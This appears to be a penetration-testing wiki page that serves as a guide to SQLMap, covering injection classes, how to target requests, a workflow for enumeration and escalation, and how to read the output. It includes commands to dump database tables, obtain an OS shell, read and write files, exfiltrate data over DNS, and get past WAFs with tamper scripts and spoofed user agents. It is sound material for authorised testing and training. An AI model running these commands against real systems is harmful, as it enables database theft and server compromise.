SQLMap
SQLMap automates detection and exploitation of SQL injection across ~35 DBMSes and all six injection classes. Point it at a request, let it fingerprint and confirm, then drive it through enumeration and (where privileges allow) file read/write and OS command execution.
# Minimal - a GET parametersqlmap -u 'http://target/vuln.php?id=1' --batch
# The usual starting point - a saved Burp requestsqlmap -r req.txt --batch
# Confirmed-and-escalate, in ordersqlmap -r req.txt --batch --dbs # list databasessqlmap -r req.txt --batch -D prod -T users --dump # exfiltratesqlmap -r req.txt --batch --is-dba --os-shell # post-exploitSuccess indicator: SQLMap prints sqlmap identified the following injection point(s) with a type/title/payload block - that block is the proof the parameter is exploitable, and the payloads are reusable for a manual report.
This page is the map of the SQLMap sub-cluster. For the exhaustive flag list see Cheatsheet; when a run misbehaves see Troubleshooting.
When to reach for SQLMap
Section titled “When to reach for SQLMap”Manual exploitation is faster for a single value and essential for understanding the bug - but SQLMap wins when the work is repetitive or blind:
- A large schema to enumerate quickly.
- Blind SQLi with hundreds of characters to extract bit-by-bit.
- Awkward request handling (cookies, custom headers, JSON/XML/multipart bodies, CSRF tokens).
- Post-exploitation primitives (file read/write,
--os-shell) you’d otherwise hand-build per DBMS.
The manual techniques behind each of SQLMap’s classes live in the rest of the SQL injection cluster - read those to understand what SQLMap is doing on the wire.
The injection classes SQLMap uses (BEUSTQ)
Section titled “The injection classes SQLMap uses (BEUSTQ)”sqlmap -hh lists --technique=BEUSTQ (the default, all six). Each letter is one class, and each maps to a manual page in this cluster:
| Flag | Class | How it extracts | Speed | Manual page |
|---|---|---|---|---|
B |
Boolean-based blind | TRUE/FALSE inferred from response differences, 1 bit/request | Slow | Boolean blind |
E |
Error-based | Data smuggled into reflected DBMS error text, ~200 B/request | Fast | UNION: error-based extraction |
U |
UNION query | Injected SELECT appended to the original result set |
Fastest | UNION-based |
S |
Stacked queries | ; <stmt> - runs non-SELECT (needed for some RCE paths) |
n/a | Detection |
T |
Time-based blind | TRUE/FALSE inferred from SLEEP-anchored response delay |
Slowest | Time-based blind |
Q |
Inline query | Sub-query embedded in the original query | n/a | Detection |
Plus out-of-band via DNS exfiltration (--dns-domain, you control the domain’s DNS). This is an extraction channel for an injection SQLMap has already confirmed - not a way to detect a silent injection after the other techniques fail detection - and it needs the DB host to be able to resolve external DNS. Reach for it to speed up extraction once a point is found but in-band/inferential retrieval is slow or blocked. The manual out-of-band detection technique is a separate thing - see Out-of-band.
Narrow the set when a class is causing trouble (e.g. time-based timeouts): --technique=BEU skips stacked, time, and inline.
Pointing SQLMap at a target
Section titled “Pointing SQLMap at a target”The single most common cause of a “not injectable” result is a mis-specified request, not a patched target. Get the request right first.
Copy as cURL
Section titled “Copy as cURL”The reliable way to reproduce exactly what the browser sends: in Chrome/Edge/Firefox DevTools → Network panel, right-click the request → Copy → Copy as cURL. Paste it on the command line and change curl to sqlmap:
sqlmap 'http://target/?id=1' \ -H 'User-Agent: Mozilla/5.0 ...' -H 'Accept: ...' --compressedEvery header, cookie, and body the app expects comes along for free.
The three ways to supply parameters
Section titled “The three ways to supply parameters”sqlmap -u 'http://target/vuln.php?id=1' # GET params inlinesqlmap 'http://target/' --data 'uid=1&name=test' # POST body (-p uid to narrow)sqlmap -r req.txt # full Burp-saved request-r req.txtis the default choice for anything non-trivial - it carries the method, headers, cookies, and body verbatim.- Restrict testing to one parameter with
-p uid, or mark the exact spot with a*injection marker:--data 'uid=1*&name=test'or/?id=*inside a request file. - Test a non-standard spot (a header, a cookie) by putting the marker there:
--cookie='id=1*'.
Bodies and methods
Section titled “Bodies and methods”SQLMap parses form-encoded, JSON ({"id":1}), and XML (<id>1</id>) bodies - mark the value with * or let it auto-detect. Set Content-Type to match (-H 'Content-Type: application/json'), and override the verb with --method PUT when needed.
The flag that prevents most blocks
Section titled “The flag that prevents most blocks”--random-agent # swap SQLMap's giveaway default User-Agent for a real browser oneProtection solutions routinely drop traffic carrying User-Agent: sqlmap/1.x. Reach for --random-agent the moment a run returns 5xx from the start. The full target-spec flag list is in the Cheatsheet.
The workflow
Section titled “The workflow”1. Detect sqlmap -r req.txt --batch → "sqlmap identified the following injection point(s)"2. Recon --banner --current-user --current-db --is-dba3. Enumerate --dbs → --tables -D <db> → --dump -T <table> -D <db>4. Escalate --is-dba → --file-read / --file-write / --os-shell--batch auto-accepts every prompt with its default - the right choice for unattended runs. SQLMap caches detection per-target under ~/.sqlmap/output/<host>/ (newer Linux: ~/.local/share/sqlmap/output/), so step 2 onward skips re-detection and resumes from the session file. Full enumeration detail: Enumeration; post-exploitation: File operations.
Tuning the detection (when the defaults miss)
Section titled “Tuning the detection (when the defaults miss)”SQLMap defaults to the ~72 highest-yield payloads. Two dials widen the net:
--level=1..5(default 1) adds more boundaries and places to inject (headers, cookies). Level 5 tries the full ~7,800-payload matrix.--risk=1..3(default 1) adds riskier vectors - notablyOR-based payloads, which can modify data onUPDATE/DELETEstatements, so they’re off by default. Raise--riskfor login forms whereORis often the only thing that works.
When you know the exact context, skip the guessing and force the boundary with --prefix/--suffix (e.g. --prefix="')" --suffix="-- -"), and force the engine with --dbms=MySQL to skip other-DBMS payloads. See the full detection flag set in the Cheatsheet.
Reading SQLMap’s output
Section titled “Reading SQLMap’s output”The scrolling log is a running commentary on what SQLMap proved. The messages worth recognizing:
| Log message | What it means for you |
|---|---|
target URL content is stable |
Responses to identical requests don’t drift - clean baseline, differential detection will be reliable. |
GET parameter 'id' appears to be dynamic |
Changing the value changes the response - the parameter likely reaches a query. “Not dynamic” is a red flag the param isn’t processed (wrong name, stripped by a redirect). |
heuristic (basic) test shows that ... might be injectable (possible DBMS: 'MySQL') |
An intentionally broken value triggered a DBMS error. An indication, not proof - and a free DBMS fingerprint. |
might be vulnerable to cross-site scripting (XSS) |
A bonus heuristic - SQLMap noticed a reflected value. Not its job, but note it. |
it looks like the back-end DBMS is 'MySQL'. ... skip test payloads specific for other DBMSes? |
Say yes (or --batch) to cut testing time once the DBMS is clear; --dbms=MySQL sets it upfront. |
reflective value(s) found and filtering out |
Your payload is echoed in the response; SQLMap strips that noise before comparing. Harmless. |
parameter 'id' appears to be '...injectable' (with --string="luther") |
Likely a hit - and SQLMap found a constant string that cleanly separates TRUE from FALSE, so it’s not relying on fuzzy comparison. Strong signal. |
time-based comparison requires a larger statistical model, please wait... |
Gathering baseline response times so it can tell a real SLEEP delay from network jitter. Let it finish. |
'ORDER BY' technique appears to be usable |
A fast path to the UNION column count via binary search - good news for UNION extraction. |
GET parameter 'id' is vulnerable. Do you want to keep testing the others? |
Confirmed exploitable. Say no to stop at the first point, yes to map every injectable parameter for a report. |
sqlmap identified the following injection point(s) ... |
The proof. Lists every confirmed point with type, title, and payload - reusable for manual verification and the report. |
fetched data logged to text files under '...' |
Where the session, logs, and dumps live. Include this directory in deliverables. |
When a run doesn’t behave - no injection found, enumeration hangs, errors suppressed - every diagnostic move (--parse-errors, -t, -v 6, --proxy, --flush-session) is in Troubleshooting.
Bypassing protections
Section titled “Bypassing protections”When a WAF/IPS sits in front, SQLMap has the tooling to get payloads through: --tamper=<script>[,...] rewrites payloads (the between and space2comment scripts are the usual first try), --chunked and --hpp split keywords across the wire, and --csrf-token/--randomize/--eval satisfy anti-automation parameters. The full tamper catalog and bypass flags are in the Cheatsheet; the manual filter/WAF-evasion concepts are in Filter & WAF bypasses.
Next move
Section titled “Next move”- Have a Burp request, want a first pass →
sqlmap -r req.txt --batch, then read the log per the table above - Confirmed injection, need the data → Cheatsheet: enumeration and Enumeration
- DBA and want files or a shell → File operations for the per-DBMS privilege requirements;
--file-read/--os-shellflags in the Cheatsheet - Getting blocked or filtered → Filter & WAF bypasses and
--tamper/--random-agent - Run isn’t behaving → Troubleshooting
- Every flag in one place → Cheatsheet